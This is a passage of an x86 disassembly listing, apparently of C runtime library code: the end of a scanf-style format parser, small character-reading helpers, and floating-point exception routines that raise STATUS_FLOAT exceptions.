; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D308


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE88
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D094
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D094, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D094, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D094, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D094, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE88
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D800, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDEC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D800, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_427050	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
